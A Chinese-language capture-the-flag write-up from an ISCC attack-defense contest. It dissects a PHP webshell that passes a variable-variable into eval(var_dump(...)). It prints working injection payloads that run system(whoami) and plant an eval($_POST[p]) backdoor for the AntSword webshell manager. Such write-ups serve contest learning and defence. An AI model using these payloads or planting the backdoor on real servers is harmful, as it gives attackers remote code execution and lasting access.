在iscc线下赛awd中遇到了一个shell,挺有意思,记录一下。

源代码是这样的。其实刚拿到这个shell的时候我挺蒙的,不知道该怎么去利用,然后分析了一下,发现其实也还简单,下面我们一起来看下。

<?php
show_source(__FILE__);
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");

首先从请求中拿到$a参数,然后经过一次var_dump输出$$a的值,最后交给eval去执行。

那么显然eval的参数我们是可以控制的,关键的点就在于怎么去控制var_dump函数输出的内容。

我们先来看下var_dump函数的效果

$a= 'phpinfo();';
var_dump($a);
浏览器输出
E:\code\php\1.php:8:string 'phpinfo();' (length=10)

可以看出来他会把变量的类型和变量的值都输出出来。

然后我们回头来看$$,在之前的文章中提到过,$$是存在变量覆盖的,那么我们可以通过$$来把a变量覆盖为我们想要的值。

可以看到,当我们post提交a=a=1是,$a的值被覆盖为1,此时eval执行的是eval("var_dump($a=1);")

那么我们继续构造payload,闭合var_dump来拼接我们自己的函数。

post
a=a=1);system(whoami

利用成功!

那么怎么让蚁剑也能用这个shell呢?继续修改我们的payload

post
a=a=1);eval($_POST[p]);//

然后蚁剑配置

密码是p。这样就能连上蚁剑了。

s1ye师傅提出了另一种思路${}他个臭嗨又偷偷看我文章